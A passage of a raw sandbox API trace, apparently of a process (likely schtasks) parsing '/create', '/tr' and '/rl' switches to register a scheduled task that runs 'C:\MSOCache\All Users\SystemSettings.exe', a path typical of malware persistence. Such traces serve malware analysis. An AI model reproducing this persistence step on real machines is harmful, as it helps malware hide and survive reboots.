(_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.354] lstrlenW (lpString="tr") returned 2 [0135.354] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.354] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.354] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.354] lstrlenW (lpString="|create|") returned 8 [0135.354] lstrlenW (lpString="|tr|") returned 4 [0135.355] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.355] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.355] lstrlenW (lpString="?") returned 1 [0135.355] lstrlenW (lpString="?") returned 1 [0135.355] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.355] lstrlenW (lpString="tr") returned 2 [0135.355] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.355] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.355] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.355] lstrlenW (lpString="|?|") returned 3 [0135.356] lstrlenW (lpString="|tr|") returned 4 [0135.356] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.356] lstrlenW (lpString="s") returned 1 [0135.544] lstrlenW (lpString="s") returned 1 [0135.544] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.544] lstrlenW (lpString="tr") returned 2 [0135.544] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.544] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.544] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.544] lstrlenW (lpString="|s|") returned 3 [0135.544] lstrlenW (lpString="|tr|") returned 4 [0135.544] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.544] lstrlenW (lpString="u") returned 1 [0135.544] lstrlenW (lpString="u") returned 1 [0135.544] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.544] lstrlenW (lpString="tr") returned 2 [0135.544] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.544] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.544] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.544] lstrlenW (lpString="|u|") returned 3 [0135.544] lstrlenW (lpString="|tr|") returned 4 [0135.544] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.545] lstrlenW (lpString="p") returned 1 [0135.545] lstrlenW (lpString="p") returned 1 [0135.545] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] lstrlenW (lpString="tr") returned 2 [0135.545] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.545] lstrlenW (lpString="|p|") returned 3 [0135.545] lstrlenW (lpString="|tr|") returned 4 [0135.545] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.545] lstrlenW (lpString="ru") returned 2 [0135.545] lstrlenW (lpString="ru") returned 2 [0135.545] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] lstrlenW (lpString="tr") returned 2 [0135.545] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.545] lstrlenW (lpString="|ru|") returned 4 [0135.545] lstrlenW (lpString="|tr|") returned 4 [0135.545] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0135.545] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.545] lstrlenW (lpString="rp") returned 2 [0135.545] lstrlenW (lpString="rp") returned 2 [0135.545] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] lstrlenW (lpString="tr") returned 2 [0135.545] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.545] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.545] lstrlenW (lpString="|rp|") returned 4 [0135.546] lstrlenW (lpString="|tr|") returned 4 [0135.546] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0135.546] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.546] lstrlenW (lpString="sc") returned 2 [0135.546] lstrlenW (lpString="sc") returned 2 [0135.546] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.546] lstrlenW (lpString="tr") returned 2 [0135.546] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.546] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.546] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.546] lstrlenW (lpString="|sc|") returned 4 [0135.546] lstrlenW (lpString="|tr|") returned 4 [0135.546] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0135.546] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.546] lstrlenW (lpString="mo") returned 2 [0135.546] lstrlenW (lpString="mo") returned 2 [0135.546] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.546] lstrlenW (lpString="tr") returned 2 [0135.546] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.546] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.546] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.546] lstrlenW (lpString="|mo|") returned 4 [0135.546] lstrlenW (lpString="|tr|") returned 4 [0135.546] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0135.546] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.546] lstrlenW (lpString="d") returned 1 [0135.546] lstrlenW (lpString="d") returned 1 [0135.546] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.546] lstrlenW (lpString="tr") returned 2 [0135.546] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|d|") returned 3 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.547] lstrlenW (lpString="|d|") returned 3 [0135.547] lstrlenW (lpString="|tr|") returned 4 [0135.547] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.547] lstrlenW (lpString="m") returned 1 [0135.547] lstrlenW (lpString="m") returned 1 [0135.547] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] lstrlenW (lpString="tr") returned 2 [0135.547] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|m|") returned 3 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.547] lstrlenW (lpString="|m|") returned 3 [0135.547] lstrlenW (lpString="|tr|") returned 4 [0135.547] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.547] lstrlenW (lpString="i") returned 1 [0135.547] lstrlenW (lpString="i") returned 1 [0135.547] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] lstrlenW (lpString="tr") returned 2 [0135.547] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|i|") returned 3 [0135.547] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.547] lstrlenW (lpString="|i|") returned 3 [0135.547] lstrlenW (lpString="|tr|") returned 4 [0135.547] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.547] lstrlenW (lpString="tn") returned 2 [0135.547] lstrlenW (lpString="tn") returned 2 [0135.547] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.547] lstrlenW (lpString="tr") returned 2 [0135.547] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.548] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.548] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.548] lstrlenW (lpString="|tn|") returned 4 [0135.548] lstrlenW (lpString="|tr|") returned 4 [0135.548] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] lstrlenW (lpString="tr") returned 2 [0135.548] lstrlenW (lpString="tr") returned 2 [0135.548] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.548] lstrlenW (lpString="tr") returned 2 [0135.548] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.548] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.548] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.548] lstrlenW (lpString="|tr|") returned 4 [0135.548] lstrlenW (lpString="|tr|") returned 4 [0135.548] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.548] lstrlenW (lpString="-/") returned 2 [0135.548] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.548] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\SystemSettings.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\SystemSettings.exe'" [0135.548] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.548] _memicmp (_Buf1=0x2781b7c3c00, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.548] _memicmp (_Buf1=0x2781b7caad0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.548] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.549] lstrlenW (lpString="'C") returned 2 [0135.549] lstrlenW (lpString="-/") returned 2 [0135.549] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.549] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.549] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.549] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.549] _memicmp (_Buf1=0x2781b7ca930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.549] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.549] GetProcessHeap () returned 0x2781b7c0000 [0135.549] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7caa50) returned 1 [0135.549] GetProcessHeap () returned 0x2781b7c0000 [0135.549] RtlReAllocateHeap (Heap=0x2781b7c0000, Flags=0xc, Ptr=0x2781b7caa50, Size=0x56) returned 0x2781b7cc8e0 [0135.549] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.549] lstrlenW (lpString=" \x09") returned 2 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0135.549] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0135.549] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.550] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.550] GetLastError () returned 0x0 [0135.550] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.550] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0135.550] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.550] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.550] lstrlenW (lpString="/rl") returned 3 [0135.550] lstrlenW (lpString="-/") returned 2 [0135.550] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.550] lstrlenW (lpString="create") returned 6 [0135.550] lstrlenW (lpString="create") returned 6 [0135.550] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] lstrlenW (lpString="rl") returned 2 [0135.551] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.551] lstrlenW (lpString="|create|") returned 8 [0135.551] lstrlenW (lpString="|rl|") returned 4 [0135.551] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0135.551] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.551] lstrlenW (lpString="?") returned 1 [0135.551] lstrlenW (lpString="?") returned 1 [0135.551] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] lstrlenW (lpString="rl") returned 2 [0135.551] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.551] lstrlenW (lpString="|?|") returned 3 [0135.551] lstrlenW (lpString="|rl|") returned 4 [0135.551] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.551] lstrlenW (lpString="s") returned 1 [0135.551] lstrlenW (lpString="s") returned 1 [0135.551] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] lstrlenW (lpString="rl") returned 2 [0135.551] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.551] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.551] lstrlenW (lpString="|s|") returned 3 [0135.551] lstrlenW (lpString="|rl|") returned 4 [0135.551] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.551] lstrlenW (lpString="u") returned 1 [0135.551] lstrlenW (lpString="u") returned 1 [0135.552] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] lstrlenW (lpString="rl") returned 2 [0135.552] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.552] lstrlenW (lpString="|u|") returned 3 [0135.552] lstrlenW (lpString="|rl|") returned 4 [0135.552] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.552] lstrlenW (lpString="p") returned 1 [0135.552] lstrlenW (lpString="p") returned 1 [0135.552] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] lstrlenW (lpString="rl") returned 2 [0135.552] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.552] lstrlenW (lpString="|p|") returned 3 [0135.552] lstrlenW (lpString="|rl|") returned 4 [0135.552] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.552] lstrlenW (lpString="ru") returned 2 [0135.552] lstrlenW (lpString="ru") returned 2 [0135.552] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] lstrlenW (lpString="rl") returned 2 [0135.552] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.552] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.552] lstrlenW (lpString="|ru|") returned 4 [0135.552] lstrlenW (lpString="|rl|") returned 4 [0135.552] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0135.552] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.553] lstrlenW (lpString="rp") returned 2 [0135.553] lstrlenW (lpString="rp") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] lstrlenW (lpString="rl") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.553] lstrlenW (lpString="|rp|") returned 4 [0135.553] lstrlenW (lpString="|rl|") returned 4 [0135.553] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0135.553] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.553] lstrlenW (lpString="sc") returned 2 [0135.553] lstrlenW (lpString="sc") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] lstrlenW (lpString="rl") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.553] lstrlenW (lpString="|sc|") returned 4 [0135.553] lstrlenW (lpString="|rl|") returned 4 [0135.553] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0135.553] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.553] lstrlenW (lpString="mo") returned 2 [0135.553] lstrlenW (lpString="mo") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] lstrlenW (lpString="rl") returned 2 [0135.553] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.553] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.553] lstrlenW (lpString="|mo|") returned 4 [0135.554] lstrlenW (lpString="|rl|") returned 4 [0135.554] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0135.554] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.554] lstrlenW (lpString="d") returned 1 [0135.554] lstrlenW (lpString="d") returned 1 [0135.554] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.554] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.554] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|d|") returned 3 [0135.554] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.554] lstrlenW (lpString="|d|") returned 3 [0135.554] lstrlenW (lpString="|rl|") returned 4 [0135.554] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.554] lstrlenW (lpString="m") returned 1 [0135.554] lstrlenW (lpString="m") returned 1 [0135.554] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.554] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.554] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|m|") returned 3 [0135.554] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.554] lstrlenW (lpString="|m|") returned 3 [0135.554] lstrlenW (lpString="|rl|") returned 4 [0135.554] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.554] lstrlenW (lpString="i") 